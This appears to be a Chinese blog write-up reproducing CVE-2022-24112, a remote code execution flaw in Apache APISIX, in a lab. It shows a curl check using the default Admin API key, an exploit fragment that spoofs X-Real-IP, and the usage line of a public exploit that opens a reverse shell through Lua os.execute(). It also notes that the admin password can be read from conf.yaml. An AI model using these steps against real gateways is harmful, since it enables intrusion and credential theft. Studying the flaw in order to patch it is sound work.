CVE-2022-24112 Apache APISIX 命令执行漏洞复现
如果用户使用 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API ,导致远程代码执行。Apache APISIX 是 Apache 软件基金会下的云原生 API 网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务
CVE-2022-24112 Apache APISIX 命令执行漏洞
Apache APISIX 是 Apache 软件基金会下的云原生 API 网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务熔断、身份认证、可观测性等丰富的流量管理功能
在启用 Apache APISIX batch-requests 插件后,攻击者通过 batch-requests 插件绕过 Apache APISIX 数据面板的 IP 限制(如绕过 IP 黑白名单限制)。如果用户使用 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API ,导致远程代码执行
漏洞环境:CVE-2022-24112:Apache APISIX 命令执行漏洞
环境启动后访问 9000 端口,可以使用 curl 命令确认漏洞存在
ocean@OceandeMBP ~ % curl 'http://192.168.186.148:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' -i
HTTP/1.1 200 OK
Date: Fri, 24 Mar 2023 03:27:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.12.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
{"action":"get","count":0,"node":{"dir":true,"key":"\/apisix\/routes","nodes":{}}}
poc:https://github.com/twseptian/cve-2022-24112
poc 主要的思路就是通过传参绕过IP校验 + 使用默认API KEY值调用Admin API
json_data = {
'headers': {
'X-Real-IP': '{}:8080'.format(target_ip),
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Content-Type': 'application/json',
}
然后使用PUT请求添加路由,触发filter_func()
执行其中的lua代码,利用上述EXP进行攻击,命令格式如下:
python3 exp.py -t 受害者主机 -p 服务运行的端口 -L 攻击者主机 -P 接受反弹Shell的端口
Apisix 后台密码存储在 api/conf/conf.yaml 文件中,可以通过命令执行读取文件拿到
登陆后台可以看到其添加的一条路由列表,在filter_func()
函数中,调用了lua的系统目录执行语句os.execute()
进行反弹shell
更多推荐
所有评论(0)